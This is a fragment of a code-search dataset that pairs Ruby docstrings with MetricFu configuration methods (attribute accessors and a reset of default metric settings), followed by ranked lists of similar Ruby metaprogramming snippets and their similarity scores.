"def method_missing(name, *args, &block)\n return super unless block.nil? # don't do anything if handed a block\n return super if name =~ /^find_$/ # superclass wants to handle these itself\n \n str = name.to_s\n if str.end_with?('=') # setter method?\n return super unless args.size == 1 # don't do anything unless we have a single argument\n \n # create a new instance method\n base_name = str[0..-2].intern\n _singleton_class.instance_exec(name) do |name|\n define_method(name) do |value|\n @written_md_vars[base_name.to_sym] = (value.nil? ? false : true)\n @metadata[base_name.to_s] = value\n end\n end\n \n # manually set the value now\n @written_md_vars[base_name.to_sym] = (args[0].nil? ? false : true)\n @metadata[base_name.to_s] = args[0]\n else # getter method\n return super unless args.size == 0 # don't override if there are args\n return super unless @metadata.has_key? str\n \n # create a new instance method ready for next time\n _singleton_class.instance_exec(name) do |name|\n define_method(name) do\n @metadata[str]\n end\n end \n \n # return the value from metadata now\n @metadata[str]\n end\n end",
"def initialize\n System.stats.each { |s| instance_variable_set(\"@#{s}\", System.make_stat) }\n end",
"def method_missing(key, *args)\n meth = key.to_s.gsub(/^get_/, \"\")\n if @configuration.has_key?(meth)\n @configuration[meth]\n else\n STDERR.puts \"No key #{meth} defined in #{@config_file}\"\n end\n end",
"def get!(instance)\n instance.instance_variable_get(@instance_variable_name)\n end",
"def initialize attributes={}\n self.config = attributes[:config]\n end",
"def configure_with(config_options)\n config_options.each { |attribute, value| eval \"self.#{attribute} = #{value}\" }\n end",
"def initialize(params_hash)\n params_hash.each {|k,v| instance_variable_set(\"@#{k}\", v) }\n @type_name = 'metric'\n end",
"def instance_eval\n end",
"def method_missing(method, *args, &block)\n if method =~ /=$/\n add_config_variable(method.to_s.gsub(/=$/, ''), *args)\n else\n super\n end\n end",
"def parametrize #alias\n self.configuration\n end",
"def eval_string(klass, attrib)\n klass.class_eval do # => Dynamic class changing (changing 'self')\n define_method attrib do # => Dynamic method creation\n instance_variable_get(\"@#{attrib}\") # => Dynamic variable retrieval\n end\n\n define_method \"#{attrib}=\" do |value|\n instance_variable_set(\"@#{attrib}\", value) # => Dynamic variable setting\n end\n end\nend",
"def model\n obj = versionable.class.new\n YAML::load( self.yaml ).each do |var_name,var_value|\n obj.__send__( \"#{var_name}=\", var_value )\n end\n obj\n end",
"def reload_from_file\n \n # first remove all the previous methods from this instance\n if @specialmethods\n @specialmethods.each do |meth|\n (class << self; self; end).class_eval { undef_method(meth) }\n end\n end\n\n @specialmethods = []\n\n # then load the new methods\n # add a method to the Singleton class of this instance of Config.\n # giving a private readonly accessor named \"key\" that returns \"value\" for each\n # key value pair of the YAML file in @resource\n @con = loadresource()\n if @con\n @con.each do |key,value|\n (class << self; self; end).class_eval { define_method(key) { value }}\n @specialmethods.push key\n end\n end\n end",
"def reload\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n self\n end",
"def populate_using_const\n const_group_name = self.class.display_name\n group_name_alias = self.class.constants\n prop = self.class.map_constants_to\n val = self.send(prop) unless prop.nil?\n val ||= @status[1] # default property to use for constants\n group = ConstantGroup[group_name_alias] || ConstantGroup[const_group_name]\n unless group.nil?\n const = group.find_by_value(val)\n unless const.nil?\n @const = const\n @name = @const.nil? ? const.key : @const.key\n @verbose_name = \"#{self.class.display_name}: #{@name}\" \n end\n end \n end",
"def [](klass_name)\n\t\t\t@plugins[klass_name][:instance] if @plugins.key?(klass_name)\n\t\tend",
"def initialize(params)\n params.each do |key, value| \n instance_variable_set(\"@#{key}\", value) if Filing.instance_methods.include? key\n end\n end",
"def method_missing(sym, *args, &block)\n return @klass_hash[sym.to_s]\n end",
"def instance_variable(key)\n instance_variable_get(\"@#{key}\")\n end",
"def collect_metrics(name, check_cfg)\n metrics = []\n begin\n # invoke method name method on metric object\n metrics = @metrics.send(name, check_cfg)\n # :nocov:\n rescue NoMethodError => e\n log.error(\n \"Method '#{name}' is not present on Metrics object: '#{e}'\"\n )\n end\n # :nocov:\n metrics\n end",
"def get_config(key)\n config.__send__(key)\n end",
"def get(instance)\n if instance.instance_variable_defined?(@instance_variable_name)\n get!(instance)\n else\n value = default.call(instance, self)\n set!(instance, value)\n value\n end\n end",
"def define_setting(name, default = nil)\n class_variable_set(\"@@#{name}\", default)\n\n define_class_method \"#{name}=\" do |value|\n class_variable_set(\"@@#{name}\", value)\n end\n\n define_class_method name do\n class_variable_get(\"@@#{name}\")\n end\n end",
"def configuration\n Configuration::get\n end",
"def configuration\n Configuration::get\n end",
"def initialize \n @Attributes = Hash.new \n @ConfigurationFilename = \"configuration.txt\" \n load_attributes \n end",
"def eval(env)\n env.variable_get(self)\n end",
"def parse(arguments)\n self.class.send(:include, Pulsar::Helpers::Clamp)\n load_configuration\n super\n end",
"def method_missing(method, *args, &block)\n klass = Scry.const_get(method.to_s.capitalize)\n if klass\n klass = klass.const_get('Notifier')\n if klass\n raise unless args\n klass.new(config[method])\n else\n super\n end\n else\n super\n end\n end",
"def method_missing(method_name, *args, &block)\n @variables[method_name.to_sym].call\n end"
] |
[
"0.6010917",
"0.5988616",
"0.588814",
"0.55677986",
"0.55481255",
"0.5540865",
"0.5516397",
"0.5500667",
"0.53810984",
"0.53671795",
"0.5331947",
"0.5318712",
"0.530026",
"0.52369976",
"0.5236403",
"0.5220656",
"0.52202934",
"0.5204634",
"0.51872814",
"0.51872814",
"0.51538044",
"0.51538044",
"0.5144011",
"0.5119133",
"0.51119065",
"0.510307",
"0.5080778",
"0.5080778",
"0.50798726",
"0.507299",
"0.5043261",
"0.50406873",
"0.5030349",
"0.5029994",
"0.5019588",
"0.5019588",
"0.5019588",
"0.4998992",
"0.49840677",
"0.49813655",
"0.4975016",
"0.4975016",
"0.49736348",
"0.4972368",
"0.4970323",
"0.49627566",
"0.49576294",
"0.49573448",
"0.49526504",
"0.4948935",
"0.49472705",
"0.49383792",
"0.49327937",
"0.49308467",
"0.49304262",
"0.49300832",
"0.49259558",
"0.49034312",
"0.49000627",
"0.48942646",
"0.48940352",
"0.48876813",
"0.48876813",
"0.4874109",
"0.48603126",
"0.4856515",
"0.48474255",
"0.4842833",
"0.48339364",
"0.48310664",
"0.48246112",
"0.4820726",
"0.48116443",
"0.48085228",
"0.48017833",
"0.47901842",
"0.47867703",
"0.47811416",
"0.47778228",
"0.47764042",
"0.4771844",
"0.4758545",
"0.47550157",
"0.47543523",
"0.47488588",
"0.47454038",
"0.474003",
"0.47361508",
"0.47339875",
"0.4733856",
"0.47211668",
"0.47122872",
"0.47080114",
"0.4704875",
"0.4704875",
"0.47033474",
"0.47032318",
"0.47026524",
"0.47008798",
"0.46956614"
] |
0.6367096
|
0
|
Searches through the instance variables of the class and creates an attribute accessor on this instance of the Configuration class for each instance variable.
|
def add_attr_accessors_to_self
instance_variables.each do |name|
method_name = name[1..-1].to_sym
MetricFu::Configuration.send(:attr_accessor, method_name)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def initialize\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n end",
"def create_attr_hash\n data = {}\n self.instance_variables.each do |attr|\n value = self.instance_variable_get(attr)\n key = attr.to_s.sub(%r{^\\@}, '').sub(%r{\\@}, '')\n if @attr_list.include?(key)\n data[key] = value\n end\n end\n\n data\n end",
"def create_accessors!\n instance.each do |key,val|\n create_accessor_for(key)\n end\n end",
"def attributes\n attributes = {}\n self.instance_variables.each do |i| \n meth = i.gsub(\"@\",\"\")\n attributes[meth.to_sym] = self.send meth\n end\n attributes\n end",
"def singleton_attr_accessor( *symbols )\n\t\t\tsymbols.each do |sym|\n\t\t\t\tsingleton_class.__send__( :attr_accessor, sym )\n\t\t\tend\n\t\tend",
"def attributes\n attrs = {}\n instance_variables.each { |instance_variable|\n # Convert the instariable to a string, removing the @ (instance notation), and convert back to a symbol\n attrs[instance_variable.to_s[1..-1].to_sym] = instance_variable_get(instance_variable)\n }\n attrs\n end",
"def attribute_hash\n instance_vars = self.send(:instance_variables)\n values = {}\n instance_vars.each do |var|\n values[(var.to_s.delete('@')).to_sym] = self.instance_variable_get(var)\n end\n values\n end",
"def attributes(*args)\n attr_accessor(*args)\n end",
"def singleton_attr_accessor(*symbols)\n symbols.each do |sym|\n singleton_class.__send__(:attr_accessor, sym)\n end\n end",
"def retriable_configuration\n Take2::Configuration::CONFIG_ATTRS.each_with_object({}) do |key, hash|\n hash[key] = send(key)\n end\n end",
"def attributes\n Hash[instance_variables.map { |name| [name, instance_variable_get(name)] }]\n end",
"def attributes\n instance_variables.each do |var|\n child = instance_variable_get var\n name = var.to_s[1..-1]\n yield child, name\n end\n end",
"def define_attributes\n @info.attributes.each do |attr|\n rname = underscore(attr.name)\n self.class.__send__(:define_method, rname) { self[attr.name] } if attr.readable?\n self.class.__send__(:define_method, rname + \"=\") {|v| self[attr.name] = v } if attr.writable?\n end\n end",
"def create_accessors!\n self.each do |key,val|\n create_accessor_for(key)\n end\n end",
"def config_accessor(*names)\n options = names.extract_options!\n\n names.each do |name|\n reader, line = \"def #{name}; config.#{name}; end\", __LINE__\n writer, line = \"def #{name}=(value); config.#{name} = value; end\", __LINE__\n\n singleton_class.class_eval reader, __FILE__, line\n singleton_class.class_eval writer, __FILE__, line\n class_eval reader, __FILE__, line unless options[:instance_reader] == false\n class_eval writer, __FILE__, line unless options[:instance_writer] == false\n end\n end",
"def attr_values\n values = self.instance_variables.collect do |key|\n [key, self.instance_variable_get(key)]\n end\n return Hash[values]\n end",
"def attributes\n self.class.config.full_config.map { |attribute| [attribute, send(attribute)] }.to_h\n end",
"def configure_with(config_options)\n config_options.each { |attribute, value| eval \"self.#{attribute} = #{value}\" }\n end",
"def set_instance_variables opts\n opts.each do |k,v|\n begin\n instance_variable_set \"@#{k}\", v\n\n # Sets the accessor for the property as well\n eigenclass = class<<self; self; end\n eigenclass.class_eval do\n attr_accessor k\n end\n rescue NameError => e\n # We'll just eat the error for now\n end\n end\n end",
"def update_attrs(hashit)\n hashit.instance_variables.each do |name|\n singleton_class.class_eval {attr_accessor \"#{name[1..-1]}\"} #remove leading @ from varname\n send(\"#{name[1..-1]}=\", hashit.instance_variable_get(name))\n end\n end",
"def config_accessor(*names)\n options = names.last.is_a?(Hash) ? names.pop : {}\n\n names.each do |name|\n reader, line = \"def #{name}; config.get(:'#{name}'); end\", __LINE__\n writer, line = \"def #{name}=(value); config.set(:'#{name}', value); end\", __LINE__\n\n singleton_class.class_eval reader, __FILE__, line\n singleton_class.class_eval writer, __FILE__, line\n class_eval reader, __FILE__, line unless options[:instance_reader] == false\n class_eval writer, __FILE__, line unless options[:instance_writer] == false\n end\n end",
"def attr_accessor(*symbols)\n locally_assigned << symbols\n locally_assigned.flatten!\n super(*symbols)\n end",
"def define_attributes(hash)\n hash.each_pair do |key, value|\n metaclasses.send(:attr_reader, key.to_sym)\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def define_accessors\n self.metadata.properties_and_identity.each do |name, _|\n self.model.send :attr_accessor, name.downcase\n end\n end",
"def class_attribute(*attributes)\n attributes.each do |attr|\n singleton_class.class_eval %(\n def #{attr} # def foo\n class_attributes[:#{attr}] # class_attributes[:foo]\n end # end\n #\n def #{attr}=(value) # def foo=(value)\n class_attributes[:#{attr}] = value # class_attributes[:foo] = value\n end # end\n ), __FILE__, __LINE__ - 8\n end\n end",
"def add_inst_vars(keys)\n keys.each do |k|\n instance_variable_set \"@#{k}\", @data[k]\n self.class.attr_accessor k unless respond_to?(k)\n end\n end",
"def initialize\n Plaid::Configure::KEYS.each do |key|\n instance_variable_set(:\"@#{key}\",\n Plaid.instance_variable_get(:\"@#{key}\"))\n end\n end",
"def templatable_attr (*symbols)\n symbols.each do |symbol|\n # define the instance setter method\n #\n define_method(\"#{symbol}=\".to_sym) do |value|\n instance_variable_set(\"@#{symbol}\", value)\n @@ever_been_set[self][symbol] = true\n end\n\n # define the instance getter method\n #\n define_method(symbol) do \n if @@ever_been_set[self][symbol]\n return instance_variable_get(\"@#{symbol}\")\n elsif self.class.class_variable_defined?(\"@@#{symbol}\")\n return self.class.class_exec { class_variable_get(\"@@#{symbol}\") }\n else\n return nil\n end\n end\n\n class_exec do\n # define the class setter method\n #\n # We have to use this send hack, since define_method is private.\n #\n self.class.send(:define_method, \"#{symbol}=\".to_sym) do |value|\n class_variable_set(\"@@#{symbol}\", value)\n end\n\n # define the class getter/setter method\n #\n # We want to be able to call this like a dsl as a setter, or like a\n # class method as a getter, so we need variable arity, which\n # define_method doesn't support. In order to use the standard `def`\n # with variable arity, eval'ing a string seems to be the only option.\n #\n # Oh man would I love for somebody to submit a patch to do this in a\n # less horrible way.\n #\n self.class.class_eval \"\n def #{symbol} (value = nil)\n if value\n class_variable_set(\\\"@@#{symbol}\\\", value)\n end\n class_variable_get(\\\"@@#{symbol}\\\") if class_variable_defined?(\\\"@@#{symbol}\\\")\n end\n \"\n end\n end\n end",
"def attr_accessor(*args)\n attr_reader(*args)\n attr_writer(*args)\n end",
"def mattr_accessor(*syms)\n mattr_reader(*syms) + mattr_writer(*syms)\n end",
"def instance_variables() end",
"def initialize\n Plaid::Configure::KEYS.each do |key|\n instance_variable_set :\"@#{key}\",\n Plaid.instance_variable_get(:\"@#{key}\")\n end\n end",
"def create_getters\n instance_variables.each do |v|\n define_singleton_method(v.to_s.tr('@','')) do\n instance_variable_get(v)\n end\n end\n end",
"def set_instance_variables( params )\n params.each do |key,val|\n #self.instance_eval(\"@#{key.to_s} = '#{val}'\")\n self.class.class_eval %(\n class << self; attr_accessor :#{key} end\n )\n\n self.instance_variable_set( \"@#{key}\", val )\n end\n end",
"def initialize attributes={}\n self.config = attributes[:config]\n end",
"def attr_class_accessor(*args)\n\t\targs.each{|arg|\n\t\t\tclass_eval %(\n\t\t\t\tdef #{arg}; self.class.#{arg}; end\n\t\t\t\tdef #{arg}=(v); self.class.#{arg} = v; end\n\t\t\t)\n\t\t}\n\tend",
"def class_variables() end",
"def attribute_options\n if self.class_variable_defined?(:@@attribute_options)\n class_variable_get(:@@attribute_options)\n else\n class_variable_set(:@@attribute_options, {})\n class_variable_get(:@@attribute_options)\n end\n end",
"def internal_attr_accessor(*syms)\n internal_attr_reader(*syms)\n internal_attr_writer(*syms)\n end",
"def initialize(atts)\n atts.each do |key, val|\n accessor = \"#{key}=\"\n\n if respond_to?(accessor)\n send(accessor, val)\n end\n end\n end",
"def set_class_instance_variables(klass, variables)\n variables.each do |key, value|\n klass.instance_variable_set(\"@#{key}\", value)\n klass.define_singleton_method(key) { instance_variable_get(\"@#{key}\") }\n end\n end",
"def make_hash\n variables = self.instance_variables\n attr_hash = {}\n \n variables.each do |var|\n attr_hash[\"#{var.slice(1..-1)}\"] = self.send(\"#{var.slice(1..-1)}\")\n end\n \n attr_hash\n end",
"def attributes(*args)\n attr_reader(*args)\n\n initialize_method_arguments = args.map { |arg| \"#{arg}:\" }.join(', ')\n initialize_method_body = args.map { |arg| \"@#{arg} = #{arg}\" }.join(';')\n\n class_eval <<~CODE, __FILE__, __LINE__ + 1\n def initialize(#{initialize_method_arguments})\n #{initialize_method_body}\n after_initialize\n end\n CODE\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def cattr_accessor(*syms)\n cattr_reader(*syms) + cattr_writer(*syms)\n end",
"def set_attr_with_readers! hash\n hash.each_pair { |symbol, value|\n instance_variable_set \"@#{symbol}\", value\n singleton_class.class_exec { attr_reader symbol }\n }\n end",
"def metaattr_accessor(*meths)\n metaclass.instance_eval{attr_accessor(*meths)}\n end",
"def my_attr_accessor(*attributes)\n attributes.each do |attribute|\n # for each attribute, use String interpolation\n # to generate the methods, and set attr_methods\n # equal to the generated string\n attr_methods = %Q{\n def #{attribute}\n @#{attribute}\n end\n def #{attribute}=(val)\n @#{attribute} = val\n end\n }\n # call class_eval and pass in attr_methods\n class_eval(attr_methods)\n end\n end",
"def initialize(attributes)\n attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def attic_variables\n a = self.metaclass.instance_variable_get(\"@attic_variables\")\n a ||= self.metaclass.instance_variable_set(\"@attic_variables\", [])\n a\n end",
"def attic_variables\n a = self.metaclass.instance_variable_get(\"@attic_variables\")\n a ||= self.metaclass.instance_variable_set(\"@attic_variables\", [])\n a\n end",
"def define_accessors attribute_name\n define_getter attribute_name\n define_setter attribute_name\n\n self.attribute_names ||= []\n attribute_names << attribute_name.to_s\n attribute_names.uniq!\n end",
"def cattr_accessor(*syms)\n cattr_reader(*syms)\n cattr_writer(*syms)\n end",
"def initialize options={}\n options.each_pair do |att_name, att_val|\n instance_variable_set(\"@#{att_name}\", att_val)\n end\n end",
"def initialize_base_attributes_getters attributes_hash\n\n @base_attributes ||= {}\n\n attributes_hash.each do |key, value| \n\n attribute = key.underscore.to_sym \n if !self.class::LOOKUPS.include? attribute.to_s.singularize\n\n @base_attributes[ attribute ] = value \n define_base_method attribute if !defined? attribute\n\n else\n initialize_lookup attribute, value\n end \n end\n end",
"def method_missing(name, *args, &block)\n if !method_name_info(name).special?\n instance_variable_name = :\"@#{name}\"\n instance_variable_value = config[name]\n instance_variable_set instance_variable_name, instance_variable_value\n \n define_singleton_method name do\n instance_variable_get instance_variable_name\n end\n \n instance_variable_value\n else\n super\n end\n end",
"def eventable_attr_accessor(*attribute_array)\n attribute_array.each do |att|\n define_method(att) do\n event.send(att)\n end\n define_method(\"#{att}=\") do |val|\n event.send(\"#{att}=\",val)\n end\n end\n end",
"def assign_attributes(opts)\n opts\n .select { |k, _| instance_variables.include?(\"@#{k}\".to_sym) }\n .each { |k, v| instance_variable_set(\"@#{k}\", v) }\n end",
"def create_accessors(attribute_name)\n class_eval do\n define_method(attribute_name) do\n odata_entity[property_map[attribute_name]]\n end\n\n define_method(\"#{attribute_name}=\") do |value|\n # unless entity[property_map[attribute_name]] == value\n # send(\"#{attribute_name}_will_change!\") if defined?(::ActiveModel)\n # end\n\n odata_entity[property_map[attribute_name]] = value\n end\n end\n\n nil\n end",
"def attic *junk\n return metaclass if junk.empty?\n junk.each do |name|\n next if attic_variable? name\n self.attic_variables << name\n \n unless method_defined? name\n define_method(name) do\n attic_variable_get name\n end\n end\n unless method_defined? \"#{name}=\"\n define_method(\"#{name}=\") do |val|\n attic_variable_set name, val\n end\n end\n end\n attic_vars\n end",
"def attic *junk\n return metaclass if junk.empty?\n junk.each do |name|\n next if attic_variable? name\n self.attic_variables << name\n \n unless method_defined? name\n define_method(name) do\n attic_variable_get name\n end\n end\n unless method_defined? \"#{name}=\"\n define_method(\"#{name}=\") do |val|\n attic_variable_set name, val\n end\n end\n end\n attic_vars\n end",
"def serializable_attr_accessor(*syms)\n attr_accessor(*syms)\n attribute_keys.push(*syms)\n end",
"def reload\n config_hash = Huey::Request.get('config')\n Huey::Bridge::ATTRIBUTES.each do |attribute|\n instance_variable_set(\"@#{attribute}\", config_hash[attribute.to_s])\n end\n self\n end",
"def initialize_attributes(attributes)\n @attributes = attributes\n @attributes.keys.each do |attr_name|\n define_singleton_method(attr_name) { self[attr_name] }\n end\n end",
"def attr_accessor(*fields)\n attr_reader *fields\n attr_writer *fields\n end",
"def configure(&block)\n self.config = Config.new(self)\n config.instance_eval(&block)\n\n attr_accessor *config.accessors\n attr_reader *config.setters.keys\n\n config.setters.each do |name, definition|\n define_method(:\"#{name}=\", definition)\n end\n end",
"def set_instance_variables(options)\n Nuorder::Configurable.keys.each do |key|\n instance_variable_set(:\"@#{key}\", options[key])\n end\n end",
"def make_hash\n variables = self.instance_variables\n attr_hash = {}\n variables.each do |var|\n attr_hash[\"#{var.slice(1..-1)}\"] = self.send(\"#{var.slice(1..-1)}\")\n end\n\n return attr_hash\n end",
"def attributes\n if self.class_variable_defined?(:@@attributes)\n class_variable_get(:@@attributes)\n else\n class_variable_set(:@@attributes, [])\n class_variable_get(:@@attributes)\n end\n end",
"def configs\n [\n @class_name,\n @rename_attrs,\n @exclude_attrs_on_create,\n @exclude_attrs_on_update,\n @associations\n ]\n end",
"def define_and_assign_attr_accessors_for_each_filter(fp)\n model_class.filterrific_available_filters.each do |filter_name|\n self.class.send(:attr_accessor, filter_name)\n v = fp[filter_name]\n send(\"#{filter_name}=\", v) if v.present?\n end\n end",
"def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def initialize(attributes = {})\n defaults.merge!(attributes).each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def set_instance_variables(values)\n values.each_with_index do |value,i|\n name = self.class.takes[i]\n instance_variable_set \"@#{name}\",value\n end\n end",
"def attributes(*args)\n hash = super\n if @instance_options[:detailed] == true\n hash[:checklists] = checklists\n hash[:current_timer] = current_timer\n end\n hash\n end",
"def add_instance_getters_and_setters(var)\n singleton = (class << self; self end)\n singleton.send :define_method, var.to_sym do\n instance_variable_get \"@#{var}\"\n end\n singleton.send :define_method, \"#{var}=\".to_sym do |val|\n instance_variable_set \"@#{var}\", val\n end\n end",
"def initialize(attrs = {})\n @attrs = attrs || {}\n @attrs.each do |key, value|\n self.class.class_eval { attr_reader key }\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def attributes\n instance_variables.map{ |iv| iv.sub('@','') }\n end",
"def create_attribute options\n attributes = options[ :attributes ]\n attr_value = options[ :value ]\n attributes.each do | attr_name |\n self.class.class_eval do\n define_method attr_name do\n instance_variable_get \"@#{ attr_name }\"\n end\n define_method \"#{ attr_name }=\" do | value |\n instance_variable_set( \"@#{ attr_name }\", value )\n end\n end\n self.public_send( \"#{ attr_name }=\", attr_value )\n end\n end",
"def singleton_attr_writer( *symbols )\n\t\t\tsingleton_class.instance_exec( symbols ) do |attrs|\n\t\t\t\tattr_writer( *attrs )\n\t\t\tend\n\t\tend",
"def attributes\n Hash[instance_variables.map{|attrib| [attrib.to_s[1..attrib.to_s.size], nil]}]\n end",
"def attributes\n # ...\n # debugger\n # f = method_missing(name)\n @attributes ||= {}\n # attributes = Hash.new {|h,k| h[k] = []}\n # @attributes = @colm.map {|colm| attributes[colm]}\n # unless instance_variables(false).include?(f)\n # # print f\n # end\n\n # @attribute ={}\n end",
"def initialize(*args)\n class <<self\n self\n end.class_eval do \n # define attrr_accessors\n self.log_attr['git-log-attr'].keys.each do |attr_varname|\n attr_accessor attr_varname\n end\n end\n # set values\n # self.class = Metalog\n self.class.log_attr['git-log-attr'].keys.each_with_index {|attribute, index| self.send(\"#{attribute}=\", args[index])}\n end",
"def class_attr_accessor(class_variable_name)\n self.class.send(:attr_accessor, class_variable_name)\nend",
"def attributes\n self.class::ATTRIBUTES\n end",
"def assign_attributes\n @data.each do |attribute, value|\n self.class.send(:attr_accessor, attribute)\n set(attribute, value)\n end\n end",
"def strong_attr_accessor(source_class, *name)\n names.each do |name|\n var_name = \"@#{name}\".to_sym\n define_method(name) { instance_variable_get(var_name) }\n define_method(\"#{name}=\".to_sym) do |value|\n raise 'Classes do not match' unless value.instance_of?(source_class)\n\n instance_variable_set(var_name, value)\n end\n end\n end",
"def initialize attributes = {}\n @attributes = {}\n attributes.each { |attribute, value| set attribute, value }\n end",
"def attr_accessor_typesafe(*classes_args)\n classes_args.each_with_index do |attr_name, i|\n next if i%2 == 0\n\n class_name = classes_args[i-1].name\n attr_name = attr_name.to_s\n\n #getter\n self.class_eval %Q{\n def #{attr_name}\n fail \"variable <#{attr_name}> accessed without being initialized\" unless defined? @#{attr_name}\n @#{attr_name}\n end\n }\n\n #setter\n self.class_eval %Q{\n def #{attr_name}=(val)\n assert_kind_of(#{class_name}, val) if val != nil\n\n # set the value itself\n @#{attr_name}=val\n end\n }\n end\n end",
"def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def initialize(attributes = {})\n @attributes = defaults.merge!(attributes)\n\n @attributes.each do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end",
"def attr_reader_init(*symbols)\n generate_attr_reader(symbols)\n generate_initializer(symbols)\n end",
"def init_with config\n config.each { |key, value|\n self.send((key.to_s+\"=\").to_sym, value ) if respond_to? key.to_sym\n }\n end",
"def attributes\n self.class.class_variable_get(:@@attributes)\n end",
"def initialize(attrs={})\n attrs.each do |attr, value|\n # => call Tire's property method if it hasn't been set\n self.class.property attr unless self.class.property_types.keys.include? attr\n # => set instance variable\n instance_variable_set(\"@#{attr}\", value) \n end\n self.class.index_name Barton.index\n generate_id\n super attrs\n end",
"def define_accessor(klass)\n klass.class_eval <<-EOS\n def #{@association_name}\n @#{@association_name} || (@#{@association_name} = DataMapper::Associations::HasManyAssociation::Set.new(self, #{@association_name.inspect}))\n end\n\n def #{@association_name}=(value)\n #{@association_name}.set(value)\n end\n\n private\n def #{@association_name}_keys=(value)\n #{@association_name}.clear\n\n associated_constant = #{@association_name}.association.associated_constant\n associated_table = #{@association_name}.association.associated_table\n associated_constant.all(associated_table.key => [*value]).each do |entry|\n #{@association_name} << entry\n end\n end\n EOS\n end",
"def attributes\n Hash.new.tap do |atts|\n _accessors.each do |accessor|\n att = accessor[0..-2].to_sym\n atts[att] = send(att)\n end\n end\n end"
] |
[
"0.6576774",
"0.6414039",
"0.6355501",
"0.63488764",
"0.62890494",
"0.6238604",
"0.6233555",
"0.6225353",
"0.622486",
"0.61891216",
"0.6187179",
"0.6180488",
"0.6176758",
"0.6106808",
"0.61013865",
"0.6083923",
"0.6072704",
"0.60709083",
"0.6061361",
"0.6050953",
"0.6044307",
"0.60261357",
"0.6007052",
"0.5985775",
"0.5939708",
"0.5920315",
"0.59194696",
"0.59182256",
"0.5909686",
"0.5908383",
"0.5892704",
"0.58707714",
"0.5862451",
"0.58500177",
"0.5838369",
"0.5837578",
"0.5828425",
"0.58219266",
"0.58185285",
"0.5813892",
"0.5775186",
"0.57704806",
"0.57583547",
"0.57445884",
"0.57336044",
"0.57295763",
"0.5726773",
"0.5724736",
"0.57188153",
"0.57156336",
"0.57156336",
"0.5710191",
"0.5692507",
"0.5687246",
"0.56834644",
"0.5677436",
"0.5676403",
"0.56746554",
"0.56685495",
"0.56648755",
"0.56648755",
"0.5647249",
"0.56465435",
"0.5643903",
"0.56354463",
"0.5631242",
"0.5628986",
"0.56289816",
"0.5625912",
"0.5624581",
"0.5618284",
"0.5617398",
"0.5617398",
"0.5617398",
"0.5617398",
"0.5601925",
"0.55947214",
"0.55885005",
"0.5582976",
"0.55773306",
"0.55683565",
"0.5564508",
"0.5557125",
"0.5556866",
"0.55458474",
"0.5528788",
"0.5516343",
"0.5515771",
"0.550993",
"0.55065024",
"0.5494142",
"0.5490873",
"0.5490873",
"0.5490873",
"0.5488885",
"0.5485271",
"0.5484402",
"0.5479742",
"0.5479275",
"0.54772335"
] |
0.71927756
|
0
|
This does the real work of the Configuration class, by setting up a bunch of instance variables to represent the configuration of the MetricFu app.
|
def reset
@base_directory = ENV['CC_BUILD_ARTIFACTS'] || 'tmp/metric_fu'
@scratch_directory = File.join(@base_directory, 'scratch')
@output_directory = File.join(@base_directory, 'output')
@data_directory = File.join('tmp/metric_fu', '_data')
@metric_fu_root_directory = File.join(File.dirname(__FILE__),
'..', '..')
@template_directory = File.join(@metric_fu_root_directory,
'lib', 'templates')
@template_class = AwesomeTemplate
set_metrics
set_graphs
set_code_dirs
@flay = { :dirs_to_flay => @code_dirs,
:minimum_score => 100,
:filetypes => ['rb'] }
@flog = { :dirs_to_flog => @code_dirs }
@reek = { :dirs_to_reek => @code_dirs,
:config_file_pattern => nil}
@roodi = { :dirs_to_roodi => @code_dirs,
:roodi_config => nil}
@saikuro = { :output_directory => @scratch_directory + '/saikuro',
:input_directory => @code_dirs,
:cyclo => "",
:filter_cyclo => "0",
:warn_cyclo => "5",
:error_cyclo => "7",
:formater => "text"}
@churn = {}
@stats = {}
@rcov = { :environment => 'test',
:test_files => ['test/**/*_test.rb',
'spec/**/*_spec.rb'],
:rcov_opts => ["--sort coverage",
"--no-html",
"--text-coverage",
"--no-color",
"--profile",
"--rails",
"--exclude /gems/,/Library/,/usr/,spec"],
:external => nil
}
@rails_best_practices = {}
@hotspots = {}
@file_globs_to_ignore = []
@graph_engine = :bluff # can be :bluff or :gchart
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configurations; end",
"def configuration\n @config ||= setup\n end",
